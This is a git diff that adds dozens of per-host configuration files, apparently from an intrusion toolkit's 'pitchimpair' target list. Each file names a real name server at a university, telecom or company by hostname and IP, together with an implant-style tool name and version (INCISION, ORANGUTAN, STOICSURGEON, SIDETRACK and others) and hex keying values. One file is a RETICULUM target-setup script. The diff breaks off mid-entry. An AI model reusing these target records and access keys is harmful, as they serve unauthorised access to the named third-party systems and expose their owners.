b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/stoicsurgeon new file mode 100644 index 0000000..6a2b9af --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.anseo.dankook.ac.kr___203.237.216.2/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.anseo.dankook.ac.kr___203.237.216.2___20060912-133136() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.bigobe.net.tw___202.166.255.98/incision b/Linux/bin/varkeys/pitchimpair/ns.bigobe.net.tw___202.166.255.98/incision new file mode 100644 index 0000000..a347b15 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.bigobe.net.tw___202.166.255.98/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.bigobe.net.tw___202.166.255.98___20041022-125517() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="2c11e1e3 35bc836c fec18b08" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.bigobe.net.tw___202.166.255.98/orangutan b/Linux/bin/varkeys/pitchimpair/ns.bigobe.net.tw___202.166.255.98/orangutan new file mode 100644 index 0000000..e489d7e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.bigobe.net.tw___202.166.255.98/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.bigobe.net.tw___202.166.255.98___20041022-125517() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="eb0b3ae8 f88e945a e67f0767" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.bigobe.net.tw___202.166.255.98/patchicillin b/Linux/bin/varkeys/pitchimpair/ns.bigobe.net.tw___202.166.255.98/patchicillin new file mode 100644 index 0000000..876bd70 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.bigobe.net.tw___202.166.255.98/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.bigobe.net.tw___202.166.255.98___20041022-125517() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="92fdae55 ac783e8c def099dc" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.bur.hiroshima-u.ac.jp___133.41.145.11/incision b/Linux/bin/varkeys/pitchimpair/ns.bur.hiroshima-u.ac.jp___133.41.145.11/incision new file mode 100644 index 0000000..3410222 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.bur.hiroshima-u.ac.jp___133.41.145.11/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.bur.hiroshima-u.ac.jp___133.41.145.11___20030708-114853() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="6ea29b22 d350e5f0 932b74bb" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.bur.hiroshima-u.ac.jp___133.41.145.11/orangutan b/Linux/bin/varkeys/pitchimpair/ns.bur.hiroshima-u.ac.jp___133.41.145.11/orangutan new file mode 100644 index 0000000..3dc35cb --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.bur.hiroshima-u.ac.jp___133.41.145.11/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.bur.hiroshima-u.ac.jp___133.41.145.11___20030708-114853() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="3cb13c6f 0562be82 5b9e6980" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.cec.uchile.cl___200.9.97.3/incision b/Linux/bin/varkeys/pitchimpair/ns.cec.uchile.cl___200.9.97.3/incision new file mode 100644 index 0000000..2954752 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.cec.uchile.cl___200.9.97.3/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.cec.uchile.cl___200.9.97.3___20041020-213753() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="8f7c55be 1dffc9a5 8a591689" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.cec.uchile.cl___200.9.97.3/orangutan b/Linux/bin/varkeys/pitchimpair/ns.cec.uchile.cl___200.9.97.3/orangutan new file mode 100644 index 0000000..a78a6c8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.cec.uchile.cl___200.9.97.3/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.cec.uchile.cl___200.9.97.3___20041020-213753() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="70b5b27c df8db7de 41dcba19" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.cec.uchile.cl___200.9.97.3/patchicillin b/Linux/bin/varkeys/pitchimpair/ns.cec.uchile.cl___200.9.97.3/patchicillin new file mode 100644 index 0000000..7be54aa --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.cec.uchile.cl___200.9.97.3/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.cec.uchile.cl___200.9.97.3___20041020-213753() { + ## PATCHICILLIN Version:1.1.1.0 OS:sparc-sun-solaris2.6 + export CV="5389a058 35d35655 e892a3e2" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.chining.com.tw___202.39.26.50/incision b/Linux/bin/varkeys/pitchimpair/ns.chining.com.tw___202.39.26.50/incision new file mode 100644 index 0000000..8ea79cf --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.chining.com.tw___202.39.26.50/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.chining.com.tw___202.39.26.50___20041022-114055() { + ## INCISION Version:4.9.1 OS:i386-pc-solaris2.8 + export TARG_AYT="bbef51da f5e991db 55275bfc" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.chining.com.tw___202.39.26.50/orangutan b/Linux/bin/varkeys/pitchimpair/ns.chining.com.tw___202.39.26.50/orangutan new file mode 100644 index 0000000..714295f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.chining.com.tw___202.39.26.50/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.chining.com.tw___202.39.26.50___20041022-114055() { + ## ORANGUTAN Version:1.6.1 OS:i386-pc-solaris2.8 + export CONFIG_KEYS="ca7f6e68 d4f84d27 6ab8a8b7" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/incision b/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/incision new file mode 100644 index 0000000..036e1ff --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.eyes.co.kr___210.98.224.88___20041022-152559() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="f94f7aa3 246662f1 e87dcb37" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/orangutan b/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/orangutan new file mode 100644 index 0000000..ebf0157 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.eyes.co.kr___210.98.224.88___20041022-152559() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="cac5e085 39eb13cc 3c2ab74b" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/patchicillin b/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/patchicillin new file mode 100644 index 0000000..4080377 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.eyes.co.kr___210.98.224.88___20041022-152559() { + ## PATCHICILLIN Version:1.1.1.0 OS:sparc-sun-solaris2.6 + export CV="cb0fd355 76148874 27040560" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/reticulum b/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/reticulum new file mode 100644 index 0000000..24e8377 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.eyes.co.kr___210.98.224.88/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___ns.eyes.co.kr___210.98.224.88___20041022-152559() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host ns.eyes.co.kr + set ip 210.98.224.88 + set hostType "Solaris26" + set len 476 + set cv0 1d248e56 + set cv1 67070a3b + set cv2 e9690fdd + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/dewdrop b/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/dewdrop new file mode 100644 index 0000000..4eff55a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.gabontelecom.com___217.77.71.52___20060822-134452() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/incision b/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/incision new file mode 100644 index 0000000..1bcb112 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.gabontelecom.com___217.77.71.52___20060822-134452() { + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="17d339d5 bcbf7447 d5f97fad" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/jackladder b/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/jackladder new file mode 100644 index 0000000..73c1976 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.gabontelecom.com___217.77.71.52___20060822-134452() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/orangutan b/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/orangutan new file mode 100644 index 0000000..d0ce081 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.gabontelecom.com___217.77.71.52___20060822-134452() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="41ffaac0 0de78738 52ccf8db" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/patchicillin b/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/patchicillin new file mode 100644 index 0000000..b7e6f45 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.gabontelecom.com___217.77.71.52/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.gabontelecom.com___217.77.71.52___20060822-134452() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.7 + export CV="164ce3a7 8e2968bf 4f0ea344" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.global-one.dk___194.234.33.5/incision b/Linux/bin/varkeys/pitchimpair/ns.global-one.dk___194.234.33.5/incision new file mode 100644 index 0000000..71edcc5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.global-one.dk___194.234.33.5/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.global-one.dk___194.234.33.5___20041102-170945() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="a77ed7ae ff8a1def a4a7f4c4" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.global-one.dk___194.234.33.5/orangutan b/Linux/bin/varkeys/pitchimpair/ns.global-one.dk___194.234.33.5/orangutan new file mode 100644 index 0000000..8f8869d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.global-one.dk___194.234.33.5/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.global-one.dk___194.234.33.5___20041102-170945() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="cdeff898 b7a3e176 b305e3e3" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.global-one.dk___194.234.33.5/patchicillin b/Linux/bin/varkeys/pitchimpair/ns.global-one.dk___194.234.33.5/patchicillin new file mode 100644 index 0000000..6582bfc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.global-one.dk___194.234.33.5/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.global-one.dk___194.234.33.5___20041102-170945() { + ## PATCHICILLIN Version:1.1.1.0 OS:sparc-sun-solaris2.7 + export CV="5b847539 6d91ed51 be37250b" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hallym.ac.kr___210.115.225.11/incision b/Linux/bin/varkeys/pitchimpair/ns.hallym.ac.kr___210.115.225.11/incision new file mode 100644 index 0000000..6c59093 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hallym.ac.kr___210.115.225.11/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hallym.ac.kr___210.115.225.11___20030811-151127() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="be775dc5 0af32bc2 285af271" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hallym.ac.kr___210.115.225.11/orangutan b/Linux/bin/varkeys/pitchimpair/ns.hallym.ac.kr___210.115.225.11/orangutan new file mode 100644 index 0000000..8b51546 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hallym.ac.kr___210.115.225.11/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hallym.ac.kr___210.115.225.11___20030811-151127() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="9dc68f6b 9bf6cc26 cc6aeeb4" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hallym.ac.kr___210.115.225.11/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/ns.hallym.ac.kr___210.115.225.11/stoicsurgeon new file mode 100644 index 0000000..254d929 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hallym.ac.kr___210.115.225.11/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hallym.ac.kr___210.115.225.11___20060727-152354() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/dewdrop b/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/dewdrop new file mode 100644 index 0000000..448ab89 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hanseo.ac.kr___203.234.72.1___20060822-135236() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/incision b/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/incision new file mode 100644 index 0000000..5d9c722 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hanseo.ac.kr___203.234.72.1___20060822-135236() { + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="059a4645 034aadff 4a7db3fb" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/jackladder b/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/jackladder new file mode 100644 index 0000000..5050d2d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hanseo.ac.kr___203.234.72.1___20060822-135236() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/orangutan b/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/orangutan new file mode 100644 index 0000000..181b0de --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hanseo.ac.kr___203.234.72.1___20060822-135236() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="128da5a0 b391cfae fdeaed06" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/patchicillin b/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/patchicillin new file mode 100644 index 0000000..21cf271 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hanseo.ac.kr___203.234.72.1/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hanseo.ac.kr___203.234.72.1___20060822-135236() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.7 + export CV="6402529c 644ce1e1 08941ee2" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/dewdrop b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/dewdrop new file mode 100644 index 0000000..f904391 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hufs.ac.kr___203.253.64.1___20060912-143541() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/incision b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/incision new file mode 100644 index 0000000..b837ec1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hufs.ac.kr___203.253.64.1___20051026-084427() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="dc150ab0 3b143979 747f4610" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/jackladder b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/jackladder new file mode 100644 index 0000000..0916fc7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hufs.ac.kr___203.253.64.1___20051026-084427() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/orangutan b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/orangutan new file mode 100644 index 0000000..e3d0703 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hufs.ac.kr___203.253.64.1___20051026-084427() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="8746722b a22eb7f7 96bbf875" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/patchicillin b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/patchicillin new file mode 100644 index 0000000..d4dc497 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hufs.ac.kr___203.253.64.1___20051026-084427() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="925a3b04 8e945c98 93372858" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/sidetrack b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/sidetrack new file mode 100644 index 0000000..5b8804f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hufs.ac.kr___203.253.64.1___20051026-084427() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="91564078 7aa621ab a1968877 59597a31" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/stoicsurgeon new file mode 100644 index 0000000..e0eac23 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.hufs.ac.kr___203.253.64.1/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.hufs.ac.kr___203.253.64.1___20060912-143541() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/dewdrop b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/dewdrop new file mode 100644 index 0000000..b302d14 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.icu.ac.kr___210.107.128.31___20070607-102734() { + ## DEWDROP Version:DEWDROP v2.0.3.2 sparc-sun-solaris OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/incision b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/incision new file mode 100644 index 0000000..abd08cf --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.icu.ac.kr___210.107.128.31___20051101-133018() { + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="4d4a64ab 74c90cbd 1be8f03e" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/jackladder b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/jackladder new file mode 100644 index 0000000..41da0f2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.icu.ac.kr___210.107.128.31___20051101-133018() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/orangutan b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/orangutan new file mode 100644 index 0000000..25cb9c9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.icu.ac.kr___210.107.128.31___20051101-133018() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="9089b3a9 ac5ac4ff ed41fa0e" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/patchicillin b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/patchicillin new file mode 100644 index 0000000..ee176b5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.icu.ac.kr___210.107.128.31___20051101-133018() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="cff6c363 25f0fa53 e08ec044" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/sidetrack b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/sidetrack new file mode 100644 index 0000000..a25f9ec --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.icu.ac.kr___210.107.128.31___20051101-133018() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="152a592f e8f09b10 13964892 f22eb166" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/stoicsurgeon new file mode 100644 index 0000000..a426f5a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.icu.ac.kr___210.107.128.31___20070607-102734() { + ## STOICSURGEON Version:STOICSURGEON v1.1.24.3 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/stoicsurgeon v1.2.7.2 sparc-sun-solaris2.8 b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/stoicsurgeon v1.2.7.2 sparc-sun-solaris2.8 new file mode 100644 index 0000000..5269981 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.icu.ac.kr___210.107.128.31/stoicsurgeon v1.2.7.2 sparc-sun-solaris2.8 @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.icu.ac.kr___210.107.128.31___20070926-104747() { + ## STOICSURGEON V1.2.7.2 SPARC-SUN-SOLARIS2.8 Version:SUCTIONCHAR v2.0.8.8 sparc-sun-solaris2.8 OS:DEWDROP v3.0.2.1 sparc-sun-solaris + export CV="" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.ing.unirc.it___192.167.50.2/incision b/Linux/bin/varkeys/pitchimpair/ns.ing.unirc.it___192.167.50.2/incision new file mode 100644 index 0000000..66758b2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.ing.unirc.it___192.167.50.2/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.ing.unirc.it___192.167.50.2___20030417-130101() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="fa3c8afa 7b86200c 67246442" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.ing.unirc.it___192.167.50.2/orangutan b/Linux/bin/varkeys/pitchimpair/ns.ing.unirc.it___192.167.50.2/orangutan new file mode 100644 index 0000000..4941cc9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.ing.unirc.it___192.167.50.2/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.ing.unirc.it___192.167.50.2___20030417-130101() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="12f344b5 5a992961 5e109bb7" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.khmc.or.kr___203.231.128.1/incision b/Linux/bin/varkeys/pitchimpair/ns.khmc.or.kr___203.231.128.1/incision new file mode 100644 index 0000000..dae686b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.khmc.or.kr___203.231.128.1/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.khmc.or.kr___203.231.128.1___20030710-132145() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="36a5ef6d 52bf9844 870cbaa7" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.khmc.or.kr___203.231.128.1/orangutan b/Linux/bin/varkeys/pitchimpair/ns.khmc.or.kr___203.231.128.1/orangutan new file mode 100644 index 0000000..f0eb7d3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns.khmc.or.kr___203.231.128.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns.khmc.or.kr___203.231.128.1___20030710-132145() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="86ed0f25 51647717 605b8e47" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns.kimm.re.kr___203.241.84.10/incision b/Linux/bin/varkeys/pitchimpair/ns.kimm.re.kr___203.241.84.10/incision new file mode 100644 index 0000000..73c9def --- /dev/null +++ 